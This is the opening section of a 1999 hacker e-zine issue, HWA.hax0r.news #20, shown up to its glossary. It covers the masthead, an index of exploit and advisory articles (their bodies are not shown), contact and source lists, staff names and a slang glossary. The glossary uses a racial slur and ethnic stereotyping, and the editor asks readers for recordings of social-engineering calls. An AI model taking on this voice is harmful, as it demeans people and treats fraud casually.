home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / E-zine / Magazines / hwahaxornews / HWA-hn20.txt < prev    next >
Encoding:
Text File  |  2002-05-27  |  569.4 KB  |  11,787 lines
  1.  
  2.     [ 28 63 29 20 31 39 39 39 20 63 72 75 63 69 70 68 75 78 20 68 77 61 ]
  3.   =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=
  4.   ==========================================================================
  5.   =                       <=-[ HWA.hax0r.news ]-=>                         =
  6.   ==========================================================================
  7.     [=HWA'99=]                         Number 20 Volume 1 1999 May 29th 99
  8.   ==========================================================================
  9.     [                     61:20:6B:69:64:20:63:6F:75:                    ]
  10.     [               6C:64:20:62:72:65:61:6B:20:74:68:69:73:              ]
  11.     [              20:22:65:6E:63:72:79:70:74:69:6F:6E:22:!              ]        
  12.   ==========================================================================
  13.  
  14.    "There are two major products that come out of Berkeley: LSD and UNIX. 
  15.       We don't believe this to be a coincidence."
  16.                                        
  17.                                          -Jeremy S. Anderson
  18.  
  19.  
  20.  
  21.      HWA.hax0r.news is sponsored by Cubesoft communications www.csoft.net
  22.      and www.digitalgeeks.com thanks to p0lix for the digitalgeeks bandwidth
  23.      and airportman for the Cubesoft bandwidth. Also shouts out to all our
  24.      mirror sites! tnx guys. 
  25.      
  26.      http://www.csoft.net/~hwa
  27.      http://www.digitalgeeks.com/hwa
  28.  
  29.  
  30.  
  31.   
  32.   
  33.    Synopsis 
  34.    ---------
  35.    
  36.    The purpose of this newsletter is to 'digest' current events of interest
  37.    that affect the online underground and netizens in general. This includes
  38.    coverage of general security issues, hacks, exploits, underground news
  39.    and anything else I think is worthy of a look see. (remember i'm doing
  40.    this for me, not you, the fact some people happen to get a kick/use
  41.    out of it is of secondary importance).
  42.  
  43.     This list is NOT meant as a replacement for, nor to compete with, the
  44.    likes of publications such as CuD or PHRACK or with news sites such as
  45.    AntiOnline, the Hacker News Network (HNN) or mailing lists such as
  46.    BUGTRAQ or ISN nor could any other 'digest' of this type do so.
  47.  
  48.     It *is* intended  however, to  compliment such material and provide a
  49.    reference to those who follow the culture by keeping tabs on as many
  50.    sources as possible and providing links to further info, its a labour
  51.    of love and will be continued for as long as I feel like it, i'm not
  52.    motivated by dollars or the illusion of fame, did you ever notice how
  53.    the most famous/infamous hackers are the ones that get caught? there's
  54.    a lot to be said for remaining just outside the circle... <g>
  55.    
  56.    
  57.  
  58.    @HWA
  59.  
  60.    =-----------------------------------------------------------------------=
  61.  
  62.                      Welcome to HWA.hax0r.news ... #20
  63.  
  64.    =-----------------------------------------------------------------------=
  65.  
  66.  
  67.   "It is possible to provide security against other ills, but as far as
  68.    death is concerned, we men live in a city without walls."
  69.      
  70.                                                    -Epicurus
  71.  
  72.  
  73.     
  74.     We could use some more people joining the channel, its usually pretty
  75.     quiet, we don't bite (usually) so if you're hanging out on irc stop
  76.     by and idle a while and say hi...   
  77.  
  78.     *******************************************************************
  79.     ***      /join #HWA.hax0r.news on EFnet the key is `zwen'       ***
  80.     ***                                                             ***
  81.     *** please join to discuss or impart news on techno/phac scene  ***
  82.     *** stuff or just to hang out ... someone is usually around 24/7***
  83.     ***                                                             ***
  84.     *** Note that the channel isn't there to entertain you its for  ***
  85.     *** you to talk to us and impart news, if you're looking for fun***
  86.     *** then do NOT join our channel try #weirdwigs or something... ***
  87.     *** we're not #chatzone or #hack                                ***
  88.     ***                                                             ***
  89.     *******************************************************************
  90.  
  91.  
  92.   =-------------------------------------------------------------------------=
  93.  
  94.   Issue #20         
  95.  
  96.  
  97.   =--------------------------------------------------------------------------=
  98.  
  99.      "Wars have never hurt anybody except the people who die."
  100.  
  101.                                        -Salvador Dali
  102.  
  103.   
  104.   [ INDEX ]
  105.   =--------------------------------------------------------------------------=
  106.     Key     Content                                                         
  107.   =--------------------------------------------------------------------------=
  108.  
  109.     00.0  .. COPYRIGHTS ......................................................
  110.     00.1  .. CONTACT INFORMATION & SNAIL MAIL DROP ETC .......................
  111.     00.2  .. SOURCES .........................................................
  112.     00.3  .. THIS IS WHO WE ARE ..............................................
  113.     00.4  .. WHAT'S IN A NAME? why `HWA.hax0r.news'?..........................
  114.     00.5  .. THE HWA_FAQ V1.0 ................................................
  115.  
  116.     01.0  .. GREETS ..........................................................
  117.      01.1 .. Last minute stuff, rumours, newsbytes ...........................
  118.      01.2 .. Mailbag .........................................................
  119.     02.0  .. From the Editor.................................................. 
  120.     03.0  .. Clinton Authorizes Cyber Attack??? ..............................
  121.      03.1 .. More on the 'Cyberwar'...........................................
  122.     04.0  .. RootFest Scares Officials In Minneapolis ........................
  123.     05.0  .. Australia Admits to Echelon .....................................
  124.     06.0  .. Banks to Test Home User PC Security .............................
  125.     07.0  .. EMPEROR VIRUS....................................................
  126.     08.0  .. WINHLP32.EXE BUFFER OVERRUN......................................
  127.     09.0  .. NAI ON GALADRIEL VIRUS...........................................
  128.     10.0  .. Know your enemy parts 1,2 and 3..................................
  129.     11.0  .. Cox Report Blasts DOE Computer Security .........................
  130.     12.0  .. Black Hat Briefings Announced ...................................
  131.     13.0  .. eEYe Digital Security advisory: Multiple Web Interface Security Holes
  132.     14.0  .. Fun with ICQ.....................................................
  133.     15.0  .. FBI raids suspected hackers......................................
  134.     15.1  .. Real life hacker wargames........................................
  135.     16.0  .. MOD hacks Senate site............................................
  136.     17.0  .. Backdoor-G a new 'backorifice like' trojan and BO2K..............
  137.     18.0  .. [CNN] A Q&A with Emmanuel Goldstein, editor of 2600 magazine.....
  138.     19.0  .. [CNN] 'Hacking is a felony': Q&A with IBM's Charles Palmer.......      
  139.     20.0  .. Five Busted in Florida ..........................................
  140.     21.0  .. Danes Finger Swede for Cracking 12,000 Systems ..................
  141.     22.0  .. EFA Plans Net Censorship Demonstrations..........................
  142.     23.0  .. Design Principals for Tamper-Resistant Smart Card Processors.....  
  143.     24.0  .. Melissa finds a mate.............................................
  144.     25.0  .. punkz.com sets up a page for feedback on the presidential cyberwar 
  145.     26.0  .. Its that time of month again, when the 26th rolls around, look out
  146.     27.0  .. Submission: "Be A Nice Hacker" by System.........................
  147.     28.0  .. Hacking Memes by Stephen Downes..................................
  148.     29.0  .. [ISN] House panel aims to bolster security law...................
  149.     30.0  .. [ISN] NSA Taps Universities For Info Security Studies............
  150.     31.0  .. [ISN] HushMail: free Web-based email with bulletproof encryption.
  151.     32.0  .. [ISN] E-Biz Bucks Lost Under SSL Strain..........................
  152.     33.0  .. [ISN] Bracing for guerrilla warfare in cyberspace................
  153.     34.0  .. [ISN] Prosecuting Lee Is Problematic.............................
  154.     35.0  .. [ISN] Slip of the Tongue Lightens up Encryption Hearing .........
  155.     36.0  .. [ISN] REVIEW: "Microsoft Windows NT 4.0 Security, Audit, and Control",
  156.     37.0  .. [ISN] LCI Intros SMARTpen Biometric Signature Authentication.....
  157.     38.0  .. [ISN] CFP: DISC 99 Computer Security 99..........................
  158.     39.0  .. [ISN] GAO: NASA systems full of holes............................
  159.      39.1 .. [ISN] Nasa vulnerabilities potentially deadly....................
  160.     40.0  .. Citrux Winframe client for Linux vulnerability...................
  161.     41.0  .. [ISN] Top 10 candidates for a "duh" list (general sec/crypto)....
  162.     42.0  .. Seeing invisible fields and avoiding them...the MicroAlarm.......
  163.     43.0  .. RelayCheck v1.0 scan for smtp servers that will relay mail.......
  164.     44.0  .. Admintool exploit for Solaris (Updated) by Shadow Penguin Security
  165.     45.0  .. AppManager 2.0 for NT from NetIQ displays passwords in cleartext     
  166.     46.0  .. Cgichck99 ported to Rebol from Su1d Sh3ll's .c code..............
  167.     47.0  .. ICSA certifies weak crypto as secure.............................
  168.     48.0  .. RAS and RRAS vulnerability.......................................
  169.     49.0  .. Whitepaper:The Unforseen Consequences of Login Scripts By Dan Kaminsky
  170.     50.0  .. Vulnerability in pop2.imap.......................................
  171.     51.0  .. Infosec.19990526.compaq-im.a 'Compaq insight manager vulnerability'
  172.     52.0  .. Advisory: NT ODBC Remote Compromise...............................
  173.     53.0  .. Advisory: Buffer overflow in SmartDesk WebSuite v2.1..............
  174.     54.0  .. Security Leak with IBM Netfinity Remote Control Software..........
  175.     55.0  .. IBM eNetwork Firewall for AIX ....................................
  176.     =--------------------------------------------------------------------------=   
  177.     
  178.     
  179.     AD.S  .. Post your site ads or etc here, if you can offer something in return
  180.              thats tres cool, if not we'll consider ur ad anyways so send it in.
  181.              ads for other zines are ok too btw just mention us in yours, please
  182.              remember to include links and an email contact. Corporate ads will
  183.              be considered also and if your company wishes to donate to or 
  184.              participate in the upcoming Canc0n99 event send in your suggestions
  185.              and ads now...n.b date and time may be pushed back join mailing list
  186.              for up to date information.......................................
  187.              Current dates: Aug19th-22nd Niagara Falls...    .................
  188.  
  189.     HA.HA  .. Humour and puzzles  ............................................
  190.               
  191.               Hey You!........................................................
  192.               =------=........................................................
  193.               
  194.               Send in humour for this section! I need a laugh and its hard to
  195.               find good stuff... ;)...........................................
  196.  
  197.     SITE.1 .. Featured site, .................................................
  198.      H.W   .. Hacked Websites  ...............................................
  199.      A.0   .. APPENDICES......................................................
  200.      A.1   .. PHACVW linx and references......................................
  201.  
  202.   =--------------------------------------------------------------------------=
  203.      
  204.      @HWA'99
  205.  
  206.      
  207.  00.0 (C) COPYRIGHT, (K)OPYWRONG, COPYLEFT? V2.0
  208.       ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  209.  
  210.           THE OPINIONS OF THE WRITERS DO NOT NECESSARILY REFLECT THE
  211.           OPINIONS OF THE PUBLISHERS AND VICE VERSA IN FACT WE DUNNO
  212.           WTF IS GONNA TAKE RESPONSIBILITY FOR THIS, I'M NOT DOING IT
  213.           (LOTS OF ME EITHER'S RESOUND IN THE BACKGROUND) SO UHM JUST
  214.           READ IT AND IF IT BUGS YOU WELL TFS (SEE FAQ).
  215.      
  216.           Important semi-legalese and license to redistribute:
  217.      
  218.           YOU MAY DISTRIBUTE THIS ZINE WITHOUT PERMISSION FROM MYSELF
  219.           AND ARE GRANTED THE RIGHT TO QUOTE ME OR THE CONTENTS OF THE
  220.           ZINE SO LONG AS Cruciphux AND/OR HWA.hax0r.news ARE MENTIONED
  221.           IN YOUR WRITING. LINK'S ARE NOT NECESSARY OR EXPECTED BUT ARE
  222.           APPRECIATED the current link is http://welcome.to/HWA.hax0r.news
  223.           IT IS NOT MY INTENTION TO VIOLATE ANYONE'S COPYRIGHTS OR BREAK
  224.           ANY NETIQUETTE IN ANY WAY IF YOU FEEL I'VE DONE THAT PLEASE EMAIL
  225.           ME PRIVATELY current email cruciphux@dok.org
  226.      
  227.           THIS DOES NOT CONSTITUTE ANY LEGAL RIGHTS, IN THIS COUNTRY ALL
  228.           WORKS ARE (C) AS SOON AS COMMITTED TO PAPER OR DISK, IF ORIGINAL
  229.           THE LAYOUT AND COMMENTARIES ARE THEREFORE (C) WHICH MEANS:
  230.      
  231.           I RETAIN ALL RIGHTS, BUT I GIVE YOU THE RIGHT TO READ, QUOTE
  232.           AND REDISTRIBUTE/MIRROR. - EoD
  233.      
  234.      
  235.           Although this file and all future issues are now copyright, some of
  236.          the content holds its  own copyright and these are printed and
  237.          respected. News is news so i'll print any and all news but will quote
  238.          sources when the source is known, if its good enough for CNN its good
  239.          enough for me. And i'm doing it for free on my own time so pfffft. :)
  240.      
  241.          No monies are made or sought through the distribution of this material.
  242.          If you have a problem or concern email me and we'll discuss it.
  243.      
  244.          cruciphux@dok.org
  245.      
  246.          Cruciphux [C*:.]
  247.  
  248.  
  249.  
  250.  00.1 CONTACT INFORMATION AND MAIL DROP
  251.       ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  252.  
  253.  
  254.      Wahoo, we now have a mail-drop, if you are outside of the U.S.A or
  255.     Canada / North America (hell even if you are inside ..) and wish to
  256.     send printed matter like newspaper clippings a subscription to your
  257.     cool foreign hacking zine or photos, small non-explosive packages
  258.     or sensitive information etc etc well, now you can. (w00t) please
  259.     no more inflatable sheep or plastic dog droppings, or fake vomit
  260.     thanks.
  261.  
  262.     Send all goodies to:
  263.  
  264.         HWA NEWS
  265.         P.O BOX 44118
  266.         370 MAIN ST. NORTH
  267.         BRAMPTON, ONTARIO
  268.         CANADA
  269.         L6V 4H5
  270.  
  271.     WANTED!: POSTCARDS! YESH! POSTCARDS, I COLLECT EM so I know a lot of you are
  272.     ~~~~~~~  reading this from some interesting places, make my day and get a
  273.              mention in the zine, send in a postcard, I realize that some places
  274.              it is cost prohibitive but if you have the time and money be a cool
  275.              dude / gal and send a poor guy a postcard preferably one that has some
  276.              scenery from your place of residence for my collection, I collect stamps
  277.              too so you kill two birds with one stone by being cool and mailing in a
  278.              postcard, return address not necessary, just a  "hey guys being cool in
  279.              Bahrain, take it easy" will do ... ;-) thanx.
  280.  
  281.  
  282.  
  283.     Ideas for interesting 'stuff' to send in apart from news:
  284.  
  285.     - Photo copies of old system manual front pages (optionally signed by you) ;-)
  286.     - Photos of yourself, your mom, sister, dog and or cat in a NON
  287.       compromising position plz I don't want pr0n. <g>
  288.     - Picture postcards
  289.     - CD's 3.5" disks, Zip disks, 5.25" or 8" floppies, Qic40/80/100-250
  290.       tapes with hack/security related archives, logs, irc logs etc on em.
  291.     - audio or video cassettes of yourself/others etc of interesting phone
  292.       fun or social engineering examples or transcripts thereof.
  293.  
  294.     If you still can't think of anything you're probably not that interesting
  295.     a person after all so don't worry about it <BeG>
  296.  
  297.     Our current email:
  298.  
  299.     Submissions/zine gossip.....: hwa@press.usmc.net
  300.     Private email to editor.....: cruciphux@dok.org
  301.     Distribution/Website........: sas72@usa.net
  302.  
  303.     @HWA
  304.  
  305.  
  306.  
  307.  00.2 Sources ***
  308.       ~~~~~~~~~~~
  309.  
  310.      Sources can be some, all, or none of the following (by no means complete
  311.     nor listed in any degree of importance) Unless otherwise noted, like msgs
  312.     from lists or news from other sites, articles and information is compiled
  313.     and or sourced by Cruciphux no copyright claimed.
  314.  
  315.     News & I/O zine ................. <a href="http://www.antionline.com/">http://www.antionline.com/</a>
  316.     Back Orifice/cDc..................<a href="http://www.cultdeadcow.com/">http://www.cultdeadcow.com/</a>
  317.     News site (HNN) .....,............<a href="http://www.hackernews.com/">http://www.hackernews.com/</a>
  318.     Help Net Security.................<a href="http://net-security.org/">http://net-security.org/</a>
  319.     News,Advisories,++ ...............<a href="http://www.l0pht.com/">http://www.l0pht.com/</a>
  320.     NewsTrolls .......................<a href="http://www.newstrolls.com/">http://www.newstrolls.com/</a>
  321.     News + Exploit archive ...........<a href="http://www.rootshell.com/beta/news.html">http://www.rootshell.com/beta/news.html</a>
  322.     CuD Computer Underground Digest...<a href="http://www.soci.niu.edu/~cudigest">http://www.soci.niu.edu/~cudigest</a>
  323.     News site+........................<a href="http://www.zdnet.com/">http://www.zdnet.com/</a>
  324.     News site+Security................<a href="http://www.gammaforce.org/">http://www.gammaforce.org/</a>
  325.     News site+Security................<a href="http://www.projectgamma.com/">http://www.projectgamma.com/</a>
  326.     News site+Security................<a href="http://securityhole.8m.com/">http://securityhole.8m.com/</a>
  327.     News site+Security related site...<a href="http://www.403-security.org/">http://www.403-security.org/</a>
  328.     News/Humour site+ ................<a href="http://www.innerpulse.com/>http://www.innerpulse.com</a>
  329.  
  330.     +Various mailing lists and some newsgroups, such as ...
  331.     +other sites available on the HNN affiliates page, please see
  332.      http://www.hackernews.com/affiliates.html as they seem to be popping up
  333.      rather frequently ...
  334.  
  335.     
  336.     http://www.the-project.org/ .. IRC list/admin archives
  337.     http://www.anchordesk.com/  .. Jesse Berst's AnchorDesk
  338.  
  339.     alt.hackers.malicious
  340.     alt.hackers
  341.     alt.2600
  342.     BUGTRAQ
  343.     ISN security mailing list
  344.     ntbugtraq
  345.     <+others>
  346.  
  347.     NEWS Agencies, News search engines etc:
  348.     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  349.     http://www.cnn.com/SEARCH/
  350.     <a href="http://www.cnn.com/SEARCH/">Link</a>
  351.     
  352.     http://www.foxnews.com/search/cgi-bin/search.cgi?query=hack&days=0&wires=0&startwire=0
  353.     <a href="http://www.foxnews.com/search/cgi-bin/search.cgi?query=hack&days=0&wires=0&startwire=0">Link</a>
  354.     
  355.     http://www.news.com/Searching/Results/1,18,1,00.html?querystr=hack
  356.     <a href="http://www.news.com/Searching/Results/1,18,1,00.html?querystr=hack">Link</a>
  357.     
  358.     http://www.ottawacitizen.com/business/
  359.     <a href="http://www.ottawacitizen.com/business/">Link</a>
  360.     
  361.     http://search.yahoo.com.sg/search/news_sg?p=hack
  362.     <a href="http://search.yahoo.com.sg/search/news_sg?p=hack">Link</a>
  363.     
  364.     http://www.washingtonpost.com/cgi-bin/search?DB_NAME=WPlate&TOTAL_HITLIST=20&DEFAULT_OPERATOR=AND&headline=&WITHIN_FIELD_NAME=.lt.event_date&WITHIN_DAYS=0&description=hack
  365.     <a href="http://www.washingtonpost.com/cgi-bin/search?DB_NAME=WPlate&TOTAL_HITLIST=20&DEFAULT_OPERATOR=AND&headline=&WITHIN_FIELD_NAME=.lt.event_date&WITHIN_DAYS=0&description=hack">Link</a>
  366.     
  367.     http://www.zdnet.com/zdtv/cybercrime/
  368.     <a href="http://www.zdnet.com/zdtv/cybercrime/">Link</a>
  369.     
  370.     http://www.zdnet.com/zdtv/cybercrime/chaostheory/ (Kevin Poulsen's Column)
  371.     <a href="http://www.zdnet.com/zdtv/cybercrime/chaostheory/">Link</a>
  372.     
  373.     NOTE: See appendices for details on other links.
  374.     
  375.  
  376.  
  377.     http://news.bbc.co.uk/hi/english/sci/tech/newsid_254000/254236.stm
  378.     <a href="http://news.bbc.co.uk/hi/english/sci/tech/newsid_254000/254236.stm">Link</a>
  379.     
  380.     http://freespeech.org/eua/ Electronic Underground Affiliation
  381.     <a href="http://freespeech.org/eua/">Link</a>
  382.     
  383.     http://ech0.cjb.net ech0 Security
  384.     <a href="http://ech0.cjb.net">Link</a>
  385.  
  386.     http://axon.jccc.net/hir/ Hackers Information Report
  387.     <a href="http://axon.jccc.net/hir/">Link</a>
  388.     
  389.     http://net-security.org Net Security
  390.     <a href="http://net-security.org">Link</a>  
  391.     
  392.     http://www.403-security.org Daily news and security related site
  393.     <a href="http://www.403-security.org">Link</a>
  394.     
  395.  
  396.     Submissions/Hints/Tips/Etc
  397.     ~~~~~~~~~~~~~~~~~~~~~~~~~~
  398.  
  399.     All submissions that are `published' are printed with the credits
  400.     you provide, if no response is received by a week or two it is assumed
  401.     that you don't care wether the article/email is to be used in an issue
  402.     or not and may be used at my discretion.
  403.  
  404.     Looking for:
  405.  
  406.     Good news sites that are not already listed here OR on the HNN affiliates
  407.     page at http://www.hackernews.com/affiliates.html
  408.  
  409.     Magazines (complete or just the articles) of breaking sekurity or hacker
  410.     activity in your region, this includes telephone phraud and any other
  411.     technological use, abuse hole or cool thingy. ;-) cut em out and send it
  412.     to the drop box.
  413.  
  414.  
  415.     - Ed
  416.  
  417.     Mailing List Subscription Info   (Far from complete)         Feb 1999
  418.     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~   ~~~~~~~~~~~~~~~~~~~         ~~~~~~~~
  419.  
  420.     ISS Security mailing list faq : http://www.iss.net/iss/maillist.html
  421.  
  422.  
  423.     THE MOST READ:
  424.  
  425.     BUGTRAQ - Subscription info
  426.     ~~~~~~~~~~~~~~~~~~~~~~~~~~~
  427.  
  428.     What is Bugtraq?
  429.  
  430.     Bugtraq is a full-disclosure UNIX security mailing list, (see the info
  431.     file) started by Scott Chasin <chasin@crimelab.com>. To subscribe to
  432.     bugtraq, send mail to listserv@netspace.org containing the message body
  433.     subscribe bugtraq. I've been archiving this list on the web since late
  434.     1993. It is searchable with glimpse and archived on-the-fly with hypermail.
  435.  
  436.     Searchable Hypermail Index;
  437.  
  438.           http://www.eecs.nwu.edu/~jmyers/bugtraq/index.html
  439.  
  440.           <a href="http://www.eecs.nwu.edu/~jmyers/bugtraq/index.html">Link</a>
  441.  
  442.     About the Bugtraq mailing list
  443.     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  444.  
  445.     The following comes from Bugtraq's info file:
  446.  
  447.     This list is for *detailed* discussion of UNIX security holes: what they are,
  448.     how to exploit, and what to do to fix them.
  449.  
  450.     This list is not intended to be about cracking systems or exploiting their
  451.     vulnerabilities. It is about defining, recognizing, and preventing use of
  452.     security holes and risks.
  453.  
  454.     Please refrain from posting one-line messages or messages that do not contain
  455.     any substance that can relate to this list`s charter.
  456.  
  457.     I will allow certain informational posts regarding updates to security tools,
  458.     documents, etc. But I will not tolerate any unnecessary or nonessential "noise"
  459.     on this list.
  460.  
  461.     Please follow the below guidelines on what kind of information should be posted
  462.     to the Bugtraq list:
  463.  
  464.     + Information on Unix related security holes/backdoors (past and present)
  465.     + Exploit programs, scripts or detailed processes about the above
  466.     + Patches, workarounds, fixes
  467.     + Announcements, advisories or warnings
  468.     + Ideas, future plans or current works dealing with Unix security
  469.     + Information material regarding vendor contacts and procedures
  470.     + Individual experiences in dealing with above vendors or security organizations
  471.     + Incident advisories or informational reporting
  472.  
  473.     Any non-essential replies should not be directed to the list but to the originator of the message. Please do not "CC" the bugtraq
  474.     reflector address if the response does not meet the above criteria.
  475.  
  476.     Remember: YOYOW.
  477.  
  478.     You own your own words. This means that you are responsible for the words that you post on this list and that reproduction of
  479.     those words without your permission in any medium outside the distribution of this list may be challenged by you, the author.
  480.  
  481.     For questions or comments, please mail me:
  482.     chasin@crimelab.com (Scott Chasin)
  483.  
  484.  
  485.     
  486.     Crypto-Gram
  487.     ~~~~~~~~~~~
  488.  
  489.        CRYPTO-GRAM is a free monthly newsletter providing summaries, analyses,
  490.       insights, and commentaries on cryptography and computer security.
  491.  
  492.       To subscribe, visit http://www.counterpane.com/crypto-gram.html or send a
  493.       blank message to crypto-gram-subscribe@chaparraltree.com.á To unsubscribe,
  494.       visit http://www.counterpane.com/unsubform.html.á Back issues are available
  495.       on http://www.counterpane.com.
  496.  
  497.        CRYPTO-GRAM is written by Bruce Schneier.á Schneier is president of
  498.       Counterpane Systems, the author of "Applied Cryptography," and an inventor
  499.       of the Blowfish, Twofish, and Yarrow algorithms.á He served on the board of
  500.       the International Association for Cryptologic Research, EPIC, and VTW.á He
  501.       is a frequent writer and lecturer on cryptography.
  502.  
  503.  
  504.     CUD Computer Underground Digest
  505.     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  506.     This info directly from their latest ish:
  507.  
  508.     Computer underground Digestááá Suná 14 Feb, 1999áá Volume 11 : Issue 09
  509. ááááá
  510. ááááááááááááááááááááá ISSNá 1004-042X
  511.  
  512. áááááá Editor: Jim Thomas (cudigest@sun.soci.niu.edu)
  513. áááááá News Editor: Gordon Meyer (gmeyer@sun.soci.niu.edu)
  514. áááááá Archivist: Brendan Kehoe
  515. áááááá Poof Reader:áá Etaion Shrdlu, Jr.
  516. áááááá Shadow-Archivists: Dan Carosone / Paul Southworth
  517. ááááááááááááááááááááááááá Ralph Sims / Jyrki Kuoppala
  518. ááááááááááááááááááááááááá Ian Dickinson
  519. áááááá Cu Digest Homepage: http://www.soci.niu.edu/~cudigest
  520.  
  521.  
  522.  
  523.     [ISN] Security list
  524.     ~~~~~~~~~~~~~~~~~~~
  525.     This is a low volume list with lots of informative articles, if I had my
  526.     way i'd reproduce them ALL here, well almost all .... ;-) - Ed
  527.  
  528.  
  529.     Subscribe: mail majordomo@repsec.com with "subscribe isn".
  530.  
  531.  
  532.  
  533.     @HWA
  534.  
  535.  
  536.  00.3 THIS IS WHO WE ARE
  537.       ~~~~~~~~~~~~~~~~~~
  538.  
  539.       Some HWA members and Legacy staff
  540.       ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  541.       cruciphux@dok.org.........: currently active/editorial
  542.       darkshadez@ThePentagon.com: currently active/man in black
  543.       fprophet@dok.org..........: currently active/IRC+ man in black
  544.       sas72@usa.net ............. currently active/IRC+ distribution
  545.       vexxation@usa.net ........: currently active/IRC+ proof reader/grrl in black
  546.       dicentra...(email withheld): IRC+ grrl in black
  547.  
  548.  
  549.       Foreign Correspondants/affiliate members
  550.       ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  551.       
  552.        N0Portz ..........................: Australia
  553.        Qubik ............................: United Kingdom
  554.        system error .....................: Indonesia
  555.        Wile (wile coyote) ...............: Japan/the East
  556.        Ruffneck  ........................: Netherlands/Holland
  557.  
  558.        And unofficially yet contributing too much to ignore ;)
  559.  
  560.        Spikeman .........................: World media
  561.  
  562.        Please send in your sites for inclusion here if you haven't already
  563.        also if you want your emails listed send me a note ... - Ed
  564.  
  565.       http://www.genocide2600.com/~spikeman/  .. Spikeman's DoS and protection site
  566.       http://www.hackerlink.or.id/  ............ System Error's site (in Indonesian) 
  567.        
  568.  
  569.        *******************************************************************
  570.        ***      /join #HWA.hax0r.news on EFnet the key is `zwen'       ***
  571.        *******************************************************************
  572.  
  573.     :-p
  574.  
  575.  
  576.     1. We do NOT work for the government in any shape or form.Unless you count paying
  577.        taxes ... in which case we work for the gov't in a BIG WAY. :-/
  578.  
  579.     2. MOSTLY Unchanged since issue #1, although issues are a digest of recent news
  580.        events its a good idea to check out issue #1 at least and possibly also the
  581.        Xmas issue for a good feel of what we're all about otherwise enjoy - Ed ...
  582.  
  583.  
  584.     @HWA
  585.  
  586.  
  587.  
  588.  00.4 Whats in a name? why HWA.hax0r.news??
  589.       ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  590.                              
  591.       
  592.       Well what does HWA stand for? never mind if you ever find out I may
  593.      have to get those hax0rs from 'Hackers' or the Pretorians after you.
  594.  
  595.      In case you couldn't figure it out hax0r is "new skewl" and although
  596.      it is laughed at, shunned, or even pidgeon holed with those 'dumb
  597.      leet (l33t?) dewds' <see article in issue #4> this is the state
  598.      of affairs. It ain't Stephen Levy's HACKERS anymore. BTW to all you
  599.      up  and comers, i'd highly recommend you get that book. Its almost
  600.      like  buying a clue. Anyway..on with the show .. - Editorial staff
  601.  
  602.  
  603.      @HWA
  604.  
  605. 00.5  HWA FAQ v1.0 Feb 13th 1999 (Abridged & slightly updated again)
  606.       ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  607.  
  608.     Also released in issue #3. (revised) check that issue for the faq
  609.     it won't be reprinted unless changed in a big way with the exception
  610.     of the following excerpt from the FAQ, included to assist first time
  611.     readers:
  612.  
  613.     Some of the stuff related to personal useage and use in this zine are
  614.     listed below: Some are very useful, others attempt to deny the any possible
  615.     attempts at eschewing obfuscation by obsucuring their actual definitions.
  616.  
  617.     @HWA   - see EoA  ;-)
  618.  
  619.     !=     - Mathematical notation "is not equal to" or "does not equal"
  620.              ASC(247)  "wavey equals" sign means "almost equal" to. If written
  621.              an =/= (equals sign with a slash thru it) also means !=, =< is Equal
  622.              to or less than and =>  is equal to or greater than (etc, this aint
  623.              fucking grade school, cripes, don't believe I just typed all that..)
  624.  
  625.     AAM    - Ask a minor (someone under age of adulthood, usually <16, <18 or <21)
  626.  
  627.     AOL    - A great deal of people that got ripped off for net access by a huge
  628.              clueless isp with sekurity that you can drive buses through, we're
  629.              not talking Kung-Fu being none too good here, Buy-A-Kloo maybe at the
  630.              least they could try leasing one??
  631.  
  632.    *CC     - 1 - Credit Card (as in phraud)
  633.              2 - .cc is COCOS (Keeling) ISLANDS butthey probably accept cc's
  634.  
  635.     CCC    - Chaos Computer Club (Germany)
  636.  
  637.    *CON    - Conference, a place hackers crackers and hax0rs among others go to swap
  638.              ideas, get drunk, swap new mad inphoz, get drunk, swap gear, get drunk
  639.              watch videos and seminars, get drunk, listen to speakers, and last but
  640.              not least, get drunk.
  641.    *CRACKER - 1 . Someone who cracks games, encryption or codes, in popular hacker
  642.                  speak he's the guy that breaks into systems and is often (but by no
  643.                  means always) a "script kiddie" see pheer
  644.               2 . An edible biscuit usually crappy tasting without a nice dip, I like
  645.                   jalapeno pepper dip or chives sour cream and onion, yum - Ed
  646.  
  647.     Ebonics - speaking like a rastafarian or hip dude of colour <sic> also wigger
  648.               Vanilla Ice is a wigger, The Beastie Boys and rappers speak using
  649.               ebonics, speaking in a dark tongue ... being ereet, see pheer
  650.  
  651.     EoC    - End of Commentary
  652.  
  653.     EoA    - End of Article or more commonly @HWA
  654.  
  655.     EoF    - End of file
  656.  
  657.     EoD    - End of diatribe (AOL'ers: look it up)
  658.  
  659.     FUD    - Coined by Unknown and made famous by HNN <g> - "Fear uncertainty and doubt",
  660.             usually in general media articles not high brow articles such as ours or other
  661.             HNN affiliates ;)
  662.  
  663.     du0d   - a small furry animal that scurries over keyboards causing people to type
  664.              weird crap on irc, hence when someone says something stupid or off topic
  665.              'du0d wtf are you talkin about' may be used.
  666.  
  667.    *HACKER - Read Stephen Levy's HACKERS for the true definition, then see HAX0R
  668.  
  669.    *HAX0R - 1 - Cracker, hacker wannabe, in some cases a true hacker, this is difficult to
  670.             define, I think it is best defined as pop culture's view on The Hacker ala
  671.             movies such as well erhm "Hackers" and The Net etc... usually used by "real"
  672.             hackers or crackers in a derogatory or slang humorous way, like 'hax0r me
  673.             some coffee?' or can you hax0r some bread on the way to the table please?'
  674.  
  675.             2 - A tool for cutting sheet metal.
  676.  
  677.     HHN    - Maybe a bit confusing with HNN but we did spring to life around the same
  678.              time too, HWA Hax0r News.... HHN is a part of HNN .. and HNN as a proper
  679.              noun means the hackernews site proper. k? k. ;&
  680.  
  681.     HNN    - Hacker News Network and its affiliates http://www.hackernews.com/affiliates.html
  682.  
